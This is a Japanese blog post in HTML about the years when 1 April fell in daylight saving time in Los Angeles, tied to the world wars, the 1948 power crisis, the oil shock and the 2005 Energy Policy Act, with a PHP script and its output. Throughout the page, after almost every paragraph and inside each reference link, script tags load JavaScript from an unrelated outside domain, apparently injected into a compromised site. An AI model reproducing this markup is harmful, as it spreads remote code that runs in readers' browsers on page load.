<div>
<p>日付関連のテストケースを書いていたら、ロサンゼルスの1970年4月1日0時はサマータイムではないけれど、2012年4月1日0時はサマータイムであることに気づきました。何かの間違いじゃないかと思って改めて調べてみたところ、ロサンゼルスで4月1日がサマータイムだった年は以下の5つの時期に含まれることがわかりました。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><ul><li> 1918-1919年</li>
<li> 1942-1945年(War Time)</li>
<li> 1948年</li>
<li> 1974-1975年</li>
<li> 2007年以降、現在まで</li>
</ul><br><p>このうち、1番目は第一次世界大戦中に制定された「標準時間法」 (Standard Time Act)によるものです。アメリカでは初のサマータイム導入でしたが、不評のため2年で廃止されたとか(おそらく終戦の影響もあったでしょう)。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><p>2番目は第二次世界大戦時の省エネ対策として通年の「War Time」が実施されたもので、1942年2月9日から1945年9月30日まで継続的に運用されました。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><p>3番目は1948年にカリフォルニアで電力危機があり、その対策でカリフォルニア州のみ3月14日から通年のサマータイムが実施されたようです。このころ各州バラバラでサマータイムを実施していたようですが、開始時期は大半が4月でした。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><p>4番目は第一次オイルショック(1973年)によるもの。1967年から全米でサマータイムが実施されていますが、この開始時期は4月第1週からでした。しかし、オイルショックの影響により1974年は1月6日から、1975年は2月23日からサマータイム開始だったとのこと。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><p>5番目は「包括エネルギー政策法」(Energy Policy Act of 2005)が2007年から施行され、サマータイム開始が4月第1週から3月第2週にズレたことによるもの。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><p>サマータイムについて調べていたはずが、歴史の教科書に載っているような出来事が関係してくるのは面白いですね。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><h4> 上のリストを作る方法</h4>
<p>上記リストは以下のPHPスクリプトを使って求めました。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><pre>
<span><?php</span>
<span>for</span> <span>(</span><span>$</span><span>i</span> <span>=</span> <span>1900</span>; <span>$</span><span>i</span> <span><=</span> <span>2017</span>; <span>$</span><span>i</span><span>++</span><span>)</span> <span>{</span>
<span>$</span><span>dt</span> <span>=</span> <span>new</span> DateTime<span>(</span>"<span>$</span><span>i</span><span>-04-01 00:00:00</span>",
<span>new</span> DateTimezone<span>(</span>"<span>America/Los_Angeles</span>"<span>))</span>;
<span>var_dump</span><span>(</span><span>$</span><span>dt</span><span>-></span>format<span>(</span>"<span>c T</span>"<span>))</span>;
<span>}</span>
</pre> <br><p>このスクリプトの出力を下記のようにgrepすれば標準時でないもの(≒夏時間)が抜き出せます。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><pre>
$ php dst-investigate.php | grep -v ST
string(29) "1918-04-01T00:00:00-07:00 PDT"
string(29) "1919-04-01T00:00:00-07:00 PDT"
string(29) "1942-04-01T00:00:00-07:00 PWT"
string(29) "1943-04-01T00:00:00-07:00 PWT"
string(29) "1944-04-01T00:00:00-07:00 PWT"
string(29) "1945-04-01T00:00:00-07:00 PWT"
string(29) "1948-04-01T00:00:00-07:00 PDT"
string(29) "1974-04-01T00:00:00-07:00 PDT"
string(29) "1975-04-01T00:00:00-07:00 PDT"
string(29) "2007-04-01T00:00:00-07:00 PDT"
string(29) "2008-04-01T00:00:00-07:00 PDT"
string(29) "2009-04-01T00:00:00-07:00 PDT"
string(29) "2010-04-01T00:00:00-07:00 PDT"
string(29) "2011-04-01T00:00:00-07:00 PDT"
string(29) "2012-04-01T00:00:00-07:00 PDT"
string(29) "2013-04-01T00:00:00-07:00 PDT"
string(29) "2014-04-01T00:00:00-07:00 PDT"
string(29) "2015-04-01T00:00:00-07:00 PDT"
string(29) "2016-04-01T00:00:00-07:00 PDT"
string(29) "2017-04-01T00:00:00-07:00 PDT"
</pre> <br><p>上のように、タイムゾーン名がPDT(Pacific Daylight-saving Time、太平洋夏時間)やPWT(Pacific War Time、太平洋戦争時間)などと表示されているのがわかります。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><p>PHPの日付関数はTime Zone Databaseを元にしているので、他の言語でも同じ結果を得る方法があると思います。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><h4> 感想など</h4>
<p>調べてみると、省エネ対策としてカジュアルにサマータイムを実施している歴史がわかって面白いですね。サマータイムが身近でない日本人の感覚だと「本当に省エネ効果あるの?」という気もしちゃいますけど、きっと効果があるからやってるんでしょう。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><p>また、州ごとに夏時間の適用状況が違うのもアメリカならではです。上のスクリプトを America/Detroit とか America/Phoenix などで試すと全然違う結果になって面白いです。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><h4> 参考URL</h4> <ul><li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://en.wikipedia.org/wiki/Daylight_saving_time_in_the_United_States" target="_blank">Daylight saving time in the United States - Wikipedia</a></li>
<li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://en.wikipedia.org/wiki/Standard_Time_Act" target="_blank">Standard Time Act - Wikipedia</a></li>
<li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://en.wikipedia.org/wiki/1973_oil_crisis" target="_blank">1973 oil crisis - Wikipedia</a></li>
<li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://en.wikipedia.org/wiki/Energy_Policy_Act_of_2005" target="_blank">Energy Policy Act of 2005 - Wikipedia</a></li>
<li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://www.timeanddate.com/news/time/us-daylight-saving-extended.html#daylight" target="_blank">Dates of Daylight Saving Time 1970–2015</a></li>
<li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://www.iana.org/time-zones" target="_blank">IANA — Time Zone Database</a></li>
</ul></div>